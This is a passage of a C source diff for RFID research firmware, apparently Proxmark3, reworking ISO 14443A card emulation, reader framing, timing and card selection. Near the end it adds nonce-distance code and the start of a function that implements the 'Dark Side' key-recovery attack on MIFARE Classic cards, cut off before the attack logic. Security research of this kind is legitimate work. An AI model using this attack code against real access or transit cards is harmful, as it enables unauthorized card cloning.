.response = response6, .response_n = sizeof(response6) }, // dummy ATS (pseudo-ATR), answer to RATS + }; + + // Allocate 512 bytes for the dynamic modulation, created when the reader querries for it + // Such a response is less time critical, so we can prepare them on the fly + #define DYNAMIC_RESPONSE_BUFFER_SIZE 64 + #define DYNAMIC_MODULATION_BUFFER_SIZE 512 + uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE]; + uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE]; + tag_response_info_t dynamic_response_info = { + .response = dynamic_response_buffer, + .response_n = 0, + .modulation = dynamic_modulation_buffer, + .modulation_n = 0 + }; + + // Reset the offset pointer of the free buffer + reset_free_buffer(); + + // Prepare the responses of the anticollision phase + // there will be not enough time to do this at the moment the reader sends it REQA + for (size_t i=0; i 0) { + // Copy the CID from the reader query + dynamic_response_info.response[1] = receivedCmd[1]; + + // Add CRC bytes, always used in ISO 14443A-4 compliant cards + AppendCrc14443a(dynamic_response_info.response,dynamic_response_info.response_n); + dynamic_response_info.response_n += 2; + + if (prepare_tag_modulation(&dynamic_response_info,DYNAMIC_MODULATION_BUFFER_SIZE) == false) { + Dbprintf("Error preparing tag response"); + break; } + p_response = &dynamic_response_info; + } + } // Count number of wakeups received after a halt if(order == 6 && lastorder == 5) { happened++; } @@ -1157,166 +1223,103 @@ ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); // Look at last parity bit to determine timing of answer if((Uart.parityBits & 0x01) || receivedCmd[0] == 0x52) { // 1236, so correction bit needed - i = 0; + //i = 0; } - memset(receivedCmd, 0x44, 32); - if(cmdsRecvd > 999) { DbpString("1000 commands later..."); - break; - } - else { - cmdsRecvd++; - } - - if(respLen <= 0) continue; - - // Modulate Manchester - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); - AT91C_BASE_SSC->SSC_THR = 0x00; - FpgaSetupSsc(); - - // ### Transmit the response ### - u = 0; - b = 0x00; - fdt_indicator = FALSE; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - (void)b; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - if(i > respLen) { - b = 0x00; - u++; - } else { - b = resp[i]; - i++; - } - AT91C_BASE_SSC->SSC_THR = b; - - if(u > 4) { - break; - } - } - if(BUTTON_PRESS()) { - break; - } + break; + } + cmdsRecvd++; + + if (p_response != NULL) { + EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n, receivedCmd[0] == 0x52); + if (tracing) { + LogTrace(p_response->response,p_response->response_n,0,SwapBits(GetParity(p_response->response,p_response->response_n),p_response->response_n),FALSE); + if(traceLen > TRACE_SIZE) { + DbpString("Trace full"); +// break; } - + } } + } Dbprintf("%x %x %x", happened, happened2, cmdsRecvd); LED_A_OFF(); } -//----------------------------------------------------------------------------- -// Transmit the command (to the tag) that was placed in ToSend[]. -//----------------------------------------------------------------------------- -static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait) -{ - int c; - - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - - if (wait) - if(*wait < 10) - *wait = 10; - - for(c = 0; c < *wait;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! - c++; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - if (samples) *samples = (c + *wait) << 3; +// prepare a delayed transfer. This simply shifts ToSend[] by a number +// of bits specified in the delay parameter. +void PrepareDelayedTransfer(uint16_t delay) +{ + uint8_t bitmask = 0; + uint8_t bits_to_shift = 0; + uint8_t bits_shifted = 0; + + delay &= 0x07; + if (delay) { + for (uint16_t i = 0; i < delay; i++) { + bitmask |= (0x01 << i); + } + ToSend[++ToSendMax] = 0x00; + for (uint16_t i = 0; i < ToSendMax; i++) { + bits_to_shift = ToSend[i] & bitmask; + ToSend[i] = ToSend[i] >> delay; + ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay)); + bits_shifted = bits_to_shift; + } + } } //----------------------------------------------------------------------------- -// Code a 7-bit command without parity bit -// This is especially for 0x26 and 0x52 (REQA and WUPA) +// Transmit the command (to the tag) that was placed in ToSend[]. +// Parameter timing: +// if NULL: ignored +// if == 0: return time of transfer +// if != 0: delay transfer until time specified //----------------------------------------------------------------------------- -void ShortFrameFromReader(const uint8_t bt) +static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing) { - int j; - int last; - uint8_t b; + int c; - ToSendReset(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - // Start of Communication (Seq. Z) - ToSend[++ToSendMax] = SEC_Z; - last = 0; - b = bt; - for(j = 0; j < 7; j++) { - if(b & 1) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; + if (timing) { + if(*timing == 0) { // Measure time + *timing = (GetCountMifare() + 8) & 0xfffffff8; } else { - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; - } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; - } + PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks) } - b >>= 1; + if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing"); + while(GetCountMifare() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks) } - // End of Communication - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; + for(c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission) + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; + c++; + } } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; + + c = 0; + for(;;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = cmd[c]; + c++; + if(c >= len) { + break; + } + } } - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - // Just to be sure! - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - - // Convert from last character reference to length - ToSendMax++; } //----------------------------------------------------------------------------- -// Prepare reader command to send to FPGA -// +// Prepare reader command (in bits, support short frames) to send to FPGA //----------------------------------------------------------------------------- -void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) +void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity) { int i, j; int last; @@ -1328,12 +1331,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) ToSend[++ToSendMax] = SEC_Z; last = 0; + size_t bytecount = nbytes(bits); // Generate send structure for the data bits - for (i = 0; i < len; i++) { + for (i = 0; i < bytecount; i++) { // Get the current byte to send b = cmd[i]; + size_t bitsleft = MIN((bits-(i*8)),8); - for (j = 0; j < 8; j++) { + for (j = 0; j < bitsleft; j++) { if (b & 1) { // Sequence X ToSend[++ToSendMax] = SEC_X; @@ -1351,19 +1356,22 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) b >>= 1; } - // Get the parity bit - if ((dwParity >> i) & 0x01) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; - } else { - if (last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; + // Only transmit (last) parity bit if we transmitted a complete byte + if (j == 8) { + // Get the parity bit + if ((dwParity >> i) & 0x01) { + // Sequence X + ToSend[++ToSendMax] = SEC_X; + last = 1; } else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; + if (last == 0) { + // Sequence Z + ToSend[++ToSendMax] = SEC_Z; + } else { + // Sequence Y + ToSend[++ToSendMax] = SEC_Y; + last = 0; + } } } } @@ -1390,96 +1398,250 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) } //----------------------------------------------------------------------------- -// Wait a certain time for tag response -// If a response is captured return TRUE -// If it takes to long return FALSE +// Prepare reader command to send to FPGA //----------------------------------------------------------------------------- -static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) //uint8_t *buffer +void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) { - // buffer needs to be 512 bytes - int c; + CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity); +} - // Set FPGA mode to "reader listen mode", no modulation (listen - // only, since we are receiving, not transmitting). - // Signal field is on with the appropriate LED - LED_D_ON(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); +//----------------------------------------------------------------------------- +// Wait for commands from reader +// Stop when button is pressed (return 1) or field was gone (return 2) +// Or return 0 when command is captured +//----------------------------------------------------------------------------- +static int EmGetCmd(uint8_t *received, int *len, int maxLen) +{ + *len = 0; - // Now get the answer from the card - Demod.output = receivedResponse; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; + uint32_t timer = 0, vtime = 0; + int analogCnt = 0; + int analogAVG = 0; - uint8_t b; - if (elapsed) *elapsed = 0; + // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen + // only, since we are receiving, not transmitting). + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); + + // Set ADC to read field strength + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST; + AT91C_BASE_ADC->ADC_MR = + ADC_MODE_PRESCALE(32) | + ADC_MODE_STARTUP_TIME(16) | + ADC_MODE_SAMPLE_HOLD_TIME(8); + AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); + // start ADC + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + + // Now run a 'software UART' on the stream of incoming samples. + Uart.output = received; + Uart.byteCntMax = maxLen; + Uart.state = STATE_UNSYNCD; - c = 0; for(;;) { WDT_HIT(); + if (BUTTON_PRESS()) return 1; + + // test if the field exists + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { + analogCnt++; + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + if (analogCnt >= 32) { + if ((33000 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + vtime = GetTickCount(); + if (!timer) timer = vtime; + // 50ms no field --> card to idle state + if (vtime - timer > 50) return 2; + } else + if (timer) timer = 0; + analogCnt = 0; + analogAVG = 0; + } + } + // transmit none if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! - if (elapsed) (*elapsed)++; + AT91C_BASE_SSC->SSC_THR = 0x00; } + // receive and test the miller decoding if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - if(c < iso14a_timeout) { c++; } else { return FALSE; } - b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - if(ManchesterDecoding((b>>4) & 0xf)) { - *samples = ((c - 1) << 3) + 4; - return TRUE; + volatile uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + if(MillerDecoding((b & 0xf0) >> 4)) { + *len = Uart.byteCnt; + if (tracing) LogTrace(received, *len, GetDeltaCountUS(), Uart.parityBits, TRUE); + return 0; } - if(ManchesterDecoding(b & 0x0f)) { - *samples = c << 3; - return TRUE; + if(MillerDecoding(b & 0x0f)) { + *len = Uart.byteCnt; + if (tracing) LogTrace(received, *len, GetDeltaCountUS(), Uart.parityBits, TRUE); + return 0; } } } } -void ReaderTransmitShort(const uint8_t* bt) +static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded) { - int wait = 0; - int samples = 0; + int i, u = 0; + uint8_t b = 0; - ShortFrameFromReader(*bt); + // Modulate Manchester + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); + AT91C_BASE_SSC->SSC_THR = 0x00; + FpgaSetupSsc(); + + // include correction bit + i = 1; + if((Uart.parityBits & 0x01) || correctionNeeded) { + // 1236, so correction bit needed + i = 0; + } + + // send cycle + for(;;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + volatile uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + (void)b; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + if(i > respLen) { + b = 0xff; // was 0x00 + u++; + } else { + b = resp[i]; + i++; + } + AT91C_BASE_SSC->SSC_THR = b; - // Select the card - TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); + if(u > 4) break; + } + if(BUTTON_PRESS()) { + break; + } + } - // Store reader command in buffer - if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE); + return 0; +} + +int EmSend4bitEx(uint8_t resp, int correctionNeeded){ + Code4bitAnswerAsTag(resp); + int res = EmSendCmd14443aRaw(ToSend, ToSendMax, correctionNeeded); + if (tracing) LogTrace(&resp, 1, GetDeltaCountUS(), GetParity(&resp, 1), FALSE); + return res; +} + +int EmSend4bit(uint8_t resp){ + return EmSend4bitEx(resp, 0); } -void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) +int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par){ + CodeIso14443aAsTagPar(resp, respLen, par); + int res = EmSendCmd14443aRaw(ToSend, ToSendMax, correctionNeeded); + if (tracing) LogTrace(resp, respLen, GetDeltaCountUS(), par, FALSE); + return res; +} + +int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded){ + return EmSendCmdExPar(resp, respLen, correctionNeeded, GetParity(resp, respLen)); +} + +int EmSendCmd(uint8_t *resp, int respLen){ + return EmSendCmdExPar(resp, respLen, 0, GetParity(resp, respLen)); +} + +int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par){ + return EmSendCmdExPar(resp, respLen, 0, par); +} + +//----------------------------------------------------------------------------- +// Wait a certain time for tag response +// If a response is captured return TRUE +// If it takes to long return FALSE +//----------------------------------------------------------------------------- +static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) //uint8_t *buffer { - int wait = 0; - int samples = 0; + // buffer needs to be 512 bytes + int c; + + // Set FPGA mode to "reader listen mode", no modulation (listen + // only, since we are receiving, not transmitting). + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); + + // Now get the answer from the card + Demod.output = receivedResponse; + Demod.len = 0; + Demod.state = DEMOD_UNSYNCD; + + uint8_t b; + if (elapsed) *elapsed = 0; - // This is tied to other size changes - // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024; - CodeIso14443aAsReaderPar(frame,len,par); + c = 0; + for(;;) { + WDT_HIT(); + + // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + // AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! + // if (elapsed) (*elapsed)++; + // } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + if(c < iso14a_timeout) { c++; } else { return FALSE; } + b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + if(ManchesterDecoding((b>>4) & 0xf)) { + *samples = ((c - 1) << 3) + 4; + return TRUE; + } + if(ManchesterDecoding(b & 0x0f)) { + *samples = c << 3; + return TRUE; + } + } + } +} +void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing) +{ + + CodeIso14443aBitsAsReaderPar(frame,bits,par); + // Select the card - TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); + TransmitFor14443a(ToSend, ToSendMax, timing); if(trigger) LED_A_ON(); - + // Store reader command in buffer - if (tracing) LogTrace(frame,len,0,par,TRUE); + if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE); } +void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing) +{ + ReaderTransmitBitsPar(frame,len*8,par, timing); +} -void ReaderTransmit(uint8_t* frame, int len) +void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing) { // Generate parity and redirect - ReaderTransmitPar(frame,len,GetParity(frame,len)); + ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing); } int ReaderReceive(uint8_t* receivedAnswer) { int samples = 0; - if (!GetIso14443aAnswerFromTag(receivedAnswer,100,&samples,0)) return FALSE; + if (!GetIso14443aAnswerFromTag(receivedAnswer,160,&samples,0)) return FALSE; + if (tracing) LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); + if(samples == 0) return FALSE; + return Demod.len; +} + +int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr) +{ + int samples = 0; + if (!GetIso14443aAnswerFromTag(receivedAnswer,160,&samples,0)) return FALSE; if (tracing) LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); + *parptr = Demod.parityBits; if(samples == 0) return FALSE; return Demod.len; } @@ -1487,81 +1649,117 @@ int ReaderReceive(uint8_t* receivedAnswer) /* performs iso14443a anticolision procedure * fills the uid pointer unless NULL * fills resp_data unless NULL */ -int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data) { - uint8_t wupa[] = { 0x52 }; - uint8_t sel_all[] = { 0x93,0x20 }; - uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 +int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) { + uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP + uint8_t sel_all[] = { 0x93,0x20 }; + uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 + uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + byte_t uid_resp[4]; + size_t uid_resp_len; + + uint8_t sak = 0x04; // cascade uid + int cascade_level = 0; + int len; + + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitBitsPar(wupa,7,0, NULL); + // Receive the ATQA + if(!ReaderReceive(resp)) return 0; +// Dbprintf("atqa: %02x %02x",resp[0],resp[1]); + + if(p_hi14a_card) { + memcpy(p_hi14a_card->atqa, resp, 2); + p_hi14a_card->uidlen = 0; + memset(p_hi14a_card->uid,0,10); + } - uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes - uint8_t* uid = resp + 7; + // clear uid + if (uid_ptr) { + memset(uid_ptr,0,10); + } - uint8_t sak = 0x04; // cascade uid - int cascade_level = 0; + // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID + // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. + for(; sak & 0x04; cascade_level++) { + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; + + // SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all), NULL); + if (!ReaderReceive(resp)) return 0; + + // First backup the current uid + memcpy(uid_resp,resp,4); + uid_resp_len = 4; + // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]); + + // calculate crypto UID. Always use last 4 Bytes. + if(cuid_ptr) { + *cuid_ptr = bytes_to_num(uid_resp, 4); + } - int len; + // Construct SELECT UID command + memcpy(sel_uid+2,resp,5); + AppendCrc14443a(sel_uid,7); + ReaderTransmit(sel_uid,sizeof(sel_uid), NULL); + + // Receive the SAK + if (!ReaderReceive(resp)) return 0; + sak = resp[0]; + + // Test if more parts of the uid are comming + if ((sak & 0x04) && uid_resp[0] == 0x88) { + // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: + // http://www.nxp.com/documents/application_note/AN10927.pdf + memcpy(uid_resp, uid_resp + 1, 3); + uid_resp_len = 3; + } - // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitShort(wupa); - // Receive the ATQA - if(!ReaderReceive(resp)) return 0; + if(uid_ptr) { + memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len); + } - if(resp_data) - memcpy(resp_data->atqa, resp, 2); - - ReaderTransmit(sel_all,sizeof(sel_all)); - if(!ReaderReceive(uid)) return 0; + if(p_hi14a_card) { + memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len); + p_hi14a_card->uidlen += uid_resp_len; + } + } - // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in - // which case we need to make a cascade 2 request and select - this is a long UID - // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. - for(; sak & 0x04; cascade_level++) - { - // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) - sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - - // SELECT_ALL - ReaderTransmit(sel_all,sizeof(sel_all)); - if (!ReaderReceive(resp)) return 0; - if(uid_ptr) memcpy(uid_ptr + cascade_level*4, resp, 4); - - // Construct SELECT UID command - memcpy(sel_uid+2,resp,5); - AppendCrc14443a(sel_uid,7); - ReaderTransmit(sel_uid,sizeof(sel_uid)); - - // Receive the SAK - if (!ReaderReceive(resp)) return 0; - sak = resp[0]; - } - if(resp_data) { - resp_data->sak = sak; - resp_data->ats_len = 0; - } + if(p_hi14a_card) { + p_hi14a_card->sak = sak; + p_hi14a_card->ats_len = 0; + } + + if( (sak & 0x20) == 0) { + return 2; // non iso14443a compliant tag + } - if( (sak & 0x20) == 0) - return 2; // non iso14443a compliant tag + // Request for answer to select + AppendCrc14443a(rats, 2); + ReaderTransmit(rats, sizeof(rats), NULL); - // Request for answer to select - AppendCrc14443a(rats, 2); - ReaderTransmit(rats, sizeof(rats)); - if (!(len = ReaderReceive(resp))) return 0; - if(resp_data) { - memcpy(resp_data->ats, resp, sizeof(resp_data->ats)); - resp_data->ats_len = len; - } + if (!(len = ReaderReceive(resp))) return 0; - return 1; + if(p_hi14a_card) { + memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats)); + p_hi14a_card->ats_len = len; + } + + // reset the PCB block number + iso14_pcb_blocknum = 0; + return 1; } void iso14443a_setup() { - // Setup SSC + // Set up the synchronous serial port FpgaSetupSsc(); // Start from off (no field generated) // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); +// LED_D_OFF(); +// FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + // SpinDelay(50); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); @@ -1569,7 +1767,7 @@ void iso14443a_setup() { // Signal field is on with the appropriate LED LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - SpinDelay(200); + SpinDelay(7); // iso14443-3 specifies 5ms max. iso14a_timeout = 2048; //default } @@ -1577,35 +1775,59 @@ void iso14443a_setup() { int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) { uint8_t real_cmd[cmd_len+4]; real_cmd[0] = 0x0a; //I-Block + // put block number into the PCB + real_cmd[0] |= iso14_pcb_blocknum; real_cmd[1] = 0x00; //CID: 0 //FIXME: allow multiple selected cards memcpy(real_cmd+2, cmd, cmd_len); AppendCrc14443a(real_cmd,cmd_len+2); - ReaderTransmit(real_cmd, cmd_len+4); + ReaderTransmit(real_cmd, cmd_len+4, NULL); size_t len = ReaderReceive(data); - if(!len) - return -1; //DATA LINK ERROR - + uint8_t * data_bytes = (uint8_t *) data; + if (!len) + return 0; //DATA LINK ERROR + // if we received an I- or R(ACK)-Block with a block number equal to the + // current block number, toggle the current block number + else if (len >= 4 // PCB+CID+CRC = 4 bytes + && ((data_bytes[0] & 0xC0) == 0 // I-Block + || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 + && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers + { + iso14_pcb_blocknum ^= 1; + } + return len; } - //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // //----------------------------------------------------------------------------- -void ReaderIso14443a(UsbCommand * c, UsbCommand * ack) +void ReaderIso14443a(UsbCommand * c) { iso14a_command_t param = c->arg[0]; uint8_t * cmd = c->d.asBytes; size_t len = c->arg[1]; + size_t lenbits = c->arg[2]; + uint32_t arg0 = 0; + byte_t buf[USB_CMD_DATA_SIZE]; + + if(param & ISO14A_CONNECT) { + iso14a_clear_trace(); + } + iso14a_set_tracing(true); - if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(1); + if(param & ISO14A_REQUEST_TRIGGER) { + iso14a_set_trigger(1); + } if(param & ISO14A_CONNECT) { iso14443a_setup(); - ack->arg[0] = iso14443a_select_card(ack->d.asBytes, (iso14a_card_select_t *) (ack->d.asBytes+12)); - UsbSendPacket((void *)ack, sizeof(UsbCommand)); + if(!(param & ISO14A_NO_SELECT)) { + iso14a_card_select_t *card = (iso14a_card_select_t*)buf; + arg0 = iso14443a_select_card(NULL,card,NULL); + cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t)); + } } if(param & ISO14A_SET_TIMEOUT) { @@ -1617,8 +1839,8 @@ void ReaderIso14443a(UsbCommand * c, UsbCommand * ack) } if(param & ISO14A_APDU) { - ack->arg[0] = iso14_apdu(cmd, len, ack->d.asBytes); - UsbSendPacket((void *)ack, sizeof(UsbCommand)); + arg0 = iso14_apdu(cmd, len, buf); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); } if(param & ISO14A_RAW) { @@ -1626,116 +1848,829 @@ void ReaderIso14443a(UsbCommand * c, UsbCommand * ack) AppendCrc14443a(cmd,len); len += 2; } - ReaderTransmit(cmd,len); - ack->arg[0] = ReaderReceive(ack->d.asBytes); - UsbSendPacket((void *)ack, sizeof(UsbCommand)); + if(lenbits>0) { + ReaderTransmitBitsPar(cmd,lenbits,GetParity(cmd,lenbits/8), NULL); + } else { + ReaderTransmit(cmd,len, NULL); + } + arg0 = ReaderReceive(buf); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); } - if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(0); + if(param & ISO14A_REQUEST_TRIGGER) { + iso14a_set_trigger(0); + } - if(param & ISO14A_NO_DISCONNECT) + if(param & ISO14A_NO_DISCONNECT) { return; + } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); } + + +// Determine the distance between two nonces. +// Assume that the difference is small, but we don't know which is first. +// Therefore try in alternating directions. +int32_t dist_nt(uint32_t nt1, uint32_t nt2) { + + uint16_t i; + uint32_t nttmp1, nttmp2; + + if (nt1 == nt2) return 0; + + nttmp1 = nt1; + nttmp2 = nt2; + + for (i = 1; i < 32768; i++) { + nttmp1 = prng_successor(nttmp1, 1); + if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); + if (nttmp2 == nt1) return -i; + } + + return(-99999); // either nt1 or nt2 are invalid nonces +} + + //----------------------------------------------------------------------------- -// Read an ISO 14443a tag. Send out commands and store answers. -// +// Recover several bits of the cypher stream. This implements (first stages of) +// the algorithm described in "The Dark Side of Security by Obscurity and +// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" +// (article by Nicolas T. Courtois, 2009) //----------------------------------------------------------------------------- -void ReaderMifare(uint32_t parameter) +void ReaderMifare(bool first_try) { // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes - traceLen = 0; - tracing = false; - - iso14443a_setup(); + uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + static uint8_t mf_nr_ar3; + + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + traceLen = 0; + tracing = false; + + byte_t nt_diff = 0; + byte_t par = 0; + //byte_t par_mask = 0xff; + static byte_t par_low = 0; + bool led_on = TRUE; + uint8_t uid[10]; + uint32_t cuid; + + uint32_t nt, previous_nt; + static uint32_t 